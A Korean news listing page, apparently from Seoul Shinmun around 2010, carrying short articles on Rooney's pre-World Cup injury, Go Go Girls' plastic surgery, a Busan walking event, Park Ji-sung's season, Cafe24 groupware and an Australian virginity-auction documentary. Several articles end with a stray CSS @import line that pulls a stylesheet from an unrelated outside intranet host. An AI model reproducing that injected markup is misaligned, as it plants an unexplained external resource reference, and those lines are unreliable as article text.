    ‘축구종가’ 잉글랜드 파비오 카펠로 감독이 고민에 빠졌다. 웨인 루니(맨체스터 유나이티드·이하 맨유)·존 테리(첼시)·스티븐 제라드(리버풀) 같은 ‘보기만 해도 배부른’ 선수들이 있는데 왜 일까. 바로 ‘루니와 짝꿍들’ 때문이다. 루니는 잉글랜드 프리미어리그 2009~10시즌 최종전에서 부상이 재발하며 우울하게 시즌을 마쳤다. 팀의 4-0 승리를 도왔지만 후반 32분 통증을 호소하며 벤치로 들어갔다. 맨유 알렉스 퍼거슨 감독은 “지난달 다쳤던 사타구니가 다시 나빠졌다. 심각한 상황은 아닌 것으로 보이며, 대표팀에서 활약하는 데 문제가 없을 것”이라고 안심시켰다. 그러나 카펠로 감독은 심기가 불편하다. 루니는 3월31일 바이에른 뮌헨(독일)과의 유럽축구연맹(UEFA) 챔피언스리그 8강전에서 발목부상을 당한 이후 잔부상이 끊이질 않았다. 결장을 반복했고, 득점력도 눈에 띄게 떨어졌다. 애써 생각하지 않으려 해도 ‘월드컵 징크스’가 떠오른다. 잉글랜드는 전통적으로 월드컵을 앞두고 주요 선수들이 부상 당해 100% 전력을 꾸린 적이 없다. 이미 데이비드 베컴(AC밀란)이 아킬레스건 파열로 남아공행이 좌절됐다. 올 시즌 루니는 최고의 활약을 펼쳤다. 프리미어리그에서 26골(32경기)을 터뜨렸고, 월드컵 지역예선 땐 9골(9경기)로 월드컵 본선행에 앞장섰다. 그렇게 듬직하던 루니가 골골대자 해답이 없다. 루니와 투톱으로 나설 파트너는 더 골치 아프다. 카펠로 감독은 아직 이를 확정하지 못했다. 피터 크라우치와 저메인 데포(이상 토트넘)·대런 벤트(선덜랜드) 등을 뽑았지만 누구도 속 시원한 해결책이 아니다. 현지 언론은 “루니의 투톱 파트너가 마땅하지 않다면 4-4-2를 버리고 4-3-3시스템으로 전환하라.”는 목소리를 높이고 있다. 그러나 카펠로 감독은 고개를 흔든다. 루니의 파트너에게 희생을 강요한다면 크라우치가 적당하고, 득점부담을 나눠 갖길 바란다면 데포가 우위일 것이다. 그러나 잉글랜드 국민들은 냉담하다. 누가 파트너가 돼도 불안하다. 미국·알제리·슬로베니아와 함께 C조에 속한 잉글랜드가 44년 만의 우승트로피를 들어 올릴 수 있을까. 결과는 루니와 그 파트너에게 달렸다. 조은지기자 zone4@seoul.co.kr
  • 1억 전신성형 고고걸스, 아시아권 ‘강타’

    1억 전신성형 고고걸스, 아시아권 ‘강타’

    여성듀오 고고걸스의 전신성형이 아시아에서도 이슈다.고고걸스는 최근 1억 원을 들여 전신성형한 사연을 공개해 화제가 됐다. 국내뿐만 아니라 중국, 태국, 홍콩, 베트남 등 아시아권 국가들도 소식을 접한 후 폭발적인 반응을 보이고 있다.아시아권 매체들은 처음 들어본 가수 고고걸스 성형소식에 높은 관심을 가지며 비, 원더걸스, 슈퍼주니어, 빅뱅, 세븐, 포미닛 등과 함께 초미의 관심을 보이고 있다.소속사 관계자는 “이렇게 까지 파장을 이룰 줄은 몰랐다. 가수활동에 있어서 성형을 밝히기에는 사업적으로도 정말 민감한 부분인데 차라리 당당하게 고백하길 잘 했던 것 같다.”고 밝혔다.한편 고고걸스는 지난해 11월 ‘행사의 여왕’이란 이름으로 SBS ‘놀라운 대회 스타킹’ 출연해 콤플렉스인 주걱턱을 보이며 “성형외과 선생님들의 많은 관심 부탁한다.”고 말했다. 방송 직후 고고걸스는 수많은 병원 관계자들의 제안을 받았고 결국 외모 콤플렉스 해결을 위해 성형을 감행했다.사진 = 채널 동아 ‘도전 신데렐라 스페셜 에디션-비너스의 유혹’ 화면 캡처서울신문NTN 김경미 기자 84rornfl@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 고고걸스, 1억여 원 ‘전신성형’에 亞전역 ‘충격’

    고고걸스, 1억여 원 ‘전신성형’에 亞전역 ‘충격’

    가수 고고걸스의 전신성형이 해외에서도 화제다. 고고걸스는 최근 1억 원을 들여 전신성형한 사연을 공개해 이슈가 됐다. 이 소식은 급기야 중국, 태국, 홍콩, 베트남 등 아시아권 국가들의 언론을 통해 소개됐다. 이 매체들은 처음 들어본 가수 고고걸스 성형소식에 비상한 관심을 가지며 비, 원더걸스, 슈퍼주니어, 빅뱅, 세븐, 포미닛 등과 함께 초미의 관심을 보이고 있다. 소속사 관계자는 “이렇게 까지 이슈가 될 줄은 몰랐다. 가수활동에 있어서 성형을 밝히기에는 사업적으로도 정말 민감한 부분인데 차라리 당당하게 밝히길 잘 했던 것 같다.”고 전했다. 한편 고고걸스는 지난해 11월 ‘행사의 여왕’이란 이름으로 SBS ‘놀라운 대회 스타킹’ 출연해 콤플렉스인 주걱턱을 보이며 “성형외과 선생님들의 많은 관심 부탁한다.”고 말했다. 방송 직후 고고걸스는 수많은 병원 관계자들의 제안을 받았고 결국 외모 콤플렉스 해결을 위해 성형을 감행했다. 서울신문NTN 정병근 기자 oodless@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [사고] 부산에서 함께 걸어요

    서울신문·스포츠서울 부산지사가 개최하는 ‘제260회 부산시민 걷기대회’가 오는 16일 열립니다. 대회에 앞서 부산시 생활체육회 단학연구회의 기공체조 시범이 펼쳐집니다. 추첨을 통해 TV, 자전거 등 푸짐한 경품을 드립니다. ●모이는 때·곳 16일 오전 11시,부산진구 초읍동 어린이 대공원(성지곡수원지) ●행운상 제공업체 서울신문·스포츠서울 부산지사(세탁기), 부산시 생활체육회(자전거), ㈜아모레퍼시픽 부산지사(화장품), ㈜트렉스타(등산화), ㈜세정(인디안패션 셔츠), 배달사(고급 시계), ㈜동마(놀이동산 초대권), 동보서적(도서상품권), ㈜학산(비트로상품교환권), 통도환타지아(자유이용권), ㈜천호식품(천호통마늘진액), ㈜유앤미푸드텍(벅스햄버거), 스포원파크(자유이용권), ㈜해인수(생수), 새한전자(찜질기) ●후원 부산광역시·부산광역시 교육청 ●협찬 ㈜세정(인디안) ●문의 서울신문 부산지사 (051)462-2852 주최 서울신문·스포츠서울 부산지사, 부산시 생활체육회
  • [프리미어리그] 지성 유종의 미-청용 연착륙

    [프리미어리그] 지성 유종의 미-청용 연착륙

    ‘산소탱크’ 박지성(29·맨체스터 유나이티드·이하 맨유)이 10일 잉글랜드 프로축구 프리미어리그 2009~10시즌 최종전 스토크시티와의 경기에서 시즌 네 번째 득점포를 가동하며 ‘유종의 미’를 거뒀다. 박지성으로서는 이번 시즌 부상 여파로 출전 경기 수가 줄었지만, 팀 내 입지를 다지면서 건재함을 확인할 수 있었던 시즌이었다. 박지성은 시즌을 앞두고 이미 순탄치 않은 여정이 예고됐다. 알렉스 퍼거슨 감독이 안토니오 발렌시아, 가브리엘 오베르탕 등 박지성과 포지션이 겹치는 선수들을 영입해 전술 변화를 꾀했다. 박지성의 설 자리는 점점 좁아지는 듯했다. 더욱이 부상 등으로 두 달 넘게 맨유에서 뛰지 못했고, 복귀 이후에도 경기력에 대한 우려를 낳았다. 그러나 굵직한 경기 때마다 인상적인 활약으로 팀내 입지를 다졌다. 최근 바이에른 뮌헨(독일) 같은 명문 클럽에서 영입을 추진 중이라는 외신 보도가 나온 것도 박지성의 가치를 보여주는 대목. 박지성은 리그 최종전을 마친 뒤 “부상을 당해 많이 뛰지 못한 것이 아쉬움으로 남지만 부상에서 복귀해 좋은 모습을 보여줬다고 생각한다.”면서 “월드컵이 지난 뒤 다음 시즌에는 좀 더 좋은 모습을 보여 드릴 수 있다고 생각한다.”고 말했다. 이청용(22·볼턴 원더러스)은 연착륙에 성공했다. 같은 시각 리복스타디움에서 열린 버밍엄시티와의 최종전에서 후반 19분 교체 선수로 출전, 2-1 승리에 힘을 보태고 시즌을 마감했다. 이청용은 시즌 마지막 경기까지 리그 34경기(27차례 선발), FA컵 4경기(3차례 선발), 칼링컵 2경기(모두 교체출전)등 총 40경기를 뛰면서 5골, 8도움을 올렸다. 팀 자체 시상식에서도 올해의 선수와 올해의 신입선수, 선수가 뽑은 올해의 선수 등 3개 부문 수상자가 됐다. 한편 첼시(승점 86)는 승점 1점차로 ‘라이벌’ 맨유(승점 85)의 사상 첫 4연패 꿈을 무너뜨리고 4년 만에 정규리그 정상에 올랐다. 위건전에서 디디에 드로그바의 해트트릭을 비롯해 무려 8골의 폭죽을 터뜨리며 8-0 대승을 거둬 맨유를 따돌렸다. 시즌 103골을 넣어 역대 한 시즌 최다골의 신기록도 작성했다. 시즌 100호골의 주인공 드로그바는 27·28·29호골을 연속으로 넣으면서 웨인 루니(맨유·26골)를 제치고 3년 만에 득점왕에 올랐다. 최병규기자 cbk91065@seoul.co.kr
  • 카페24, 그룹웨어 무상 제공

    온라인 쇼핑몰 운영자들이 이메일 송수신은 물론 문서 관리, 일정 공유, 메신저 등 사내 커뮤니케이션이 가능한 그룹웨어 솔루션을 무상으로 사용할 수 있게 됐다. 심플렉스인터넷은 쇼핑몰 운영자들에게 기업용 인트라넷 서비스인 ’카페24 그룹웨어’를 무료로 제공함으로써 원활한 업무를 지원한다고 11일 밝혔다. ’카페24 그룹웨어’는 ◆전자결재 ◆이메일 송수신 ◆일정 관리 ◆메신저 ◆게시판 ◆문서 관리 등 조직의 협업 시스템에 필수적인 기능이 지원되고 있으며, 총 10G(메일 4G, 웹하드 6G)의 저장 공간이 제공된다. 특히 일반적 그룹웨어와 달리 이용자 수 제한이 없어 사용 인원이 늘어나도 별도 추가 비용이 발생하지 않는다. 또 웹 기반으로 구축되어 있어 인터넷이 연결되는 곳이면 어디서나 편리하게 이용할 수 있으며 기존 쇼핑몰에서 사용되는 도메인이 그룹웨어 대표 도메인으로 바로 적용된다. 쇼핑몰 도메인이 cafe24.com일 경우, gw.cafe24.com으로 사용하는 식이다. 이번 서비스는 카페24 쇼핑몰 솔루션을 이용하고 전자결제대행서비스(PG)를 사용하는 운영자들에게 제공되며 관리자 페이지에서 신청 가능하다. 이재석 심플렉스인터넷 대표는 “최근 온라인 쇼핑몰들의 규모가 커지고 매출이 증가하면서 효율적 업무 관리의 필요성이 점차 커지고 있다”면서 “카페24 그룹웨어를 통해 쇼핑몰 운영자들이 보다 신속하고 체계적으로 업무를 처리함으로써 업무 효율 및 경쟁력 확보에 도움이 되길 바란다”고 말했다. 서울신문NTN 차정석 기자 cjs@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • “제 순결 팔아요” 온라인 경매 논란

    “제 순결 팔아요” 온라인 경매 논란

    온라인 경매로 자신의 순결을 팔겠다는 젊은이들이 호주에서 등장했다. 이들이 동정을 판매하는 모습과 그 과정을 카메라에 담아 다큐멘터리 영화로 제작, 대중에 공개할 계획이라고 알려져 더욱 논란이 되고 있다. 호주 데일리 텔레그래프에 따르면 시드니에서 활동하는 영화감독 저스틴 시슬리는 지난해 젊은이들이 자신의 동정을 온라인으로 판매하는 과정을 담은 다큐멘터리 기획했다. 시슬리 감독은 1년 여 홍보 끝에 지난해 말 오디션을 열어 이 프로젝트에 참여할 4명을 뽑았다. 유일한 여성 참가자인 베로니카는 “돈 때문에 처녀성을 파는 것이고 이 행위가 매춘이라고 보일 수도 있겠다.”면서도 “하지만 이건 단순한 매춘이 아니며 난 매춘부로 일할 생각도 전혀 없다. 특별한 경험을 하고 성에 대한 인식을 바꾸고 싶었을 뿐”이라고 설명했다. 남성 참가자 3명이 밝힌 동기는 제각각이었다. 알렉스(20)란 남성은 “사람들을 만나고 싶었다.”고 말했고 로난(21)은 “이상형을 만나고 싶었다.”는 이유를 들었다. 존이라는 남성은 “돈을 벌기 위해서”라고 솔직히 말했다. 시슬리 감독은 온라인으로 경매를 진행한 뒤 미국 네바다 주로 건너가 경매를 성사시킨다는 계획이다. 호주에서 이 프로젝트를 끝낼 생각이었지만 형법상 문제로 라스베가스로 옮기기로 한 것. 프로젝트가 끝나면 참가자들은 2만 호주 달러(약 2000만원)을 받는 것으로 전해졌다. 이에 대한 반대 여론이 무성하다. 많은 사람들은 “성관념이 제대로 잡히지 않은 젊은이들을 돈벌이 수단으로 이용하려는 한심한 작태”라고 시슬리 감독의 프로젝트를 비난했다. 호주 보수정당 ‘가족제일당’의 스티브 필딩 상원의원 역시 “말도 안되고 역겨운 행위”라고 힐난했으며 호주 가족협회도 “용인될 수 없는 경매”라고 공개적으로 반대의 뜻을 내비쳤다. 사진=프로젝트 참가자 베로니카 서울신문 나우뉴스 강경윤기자 newsluv@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
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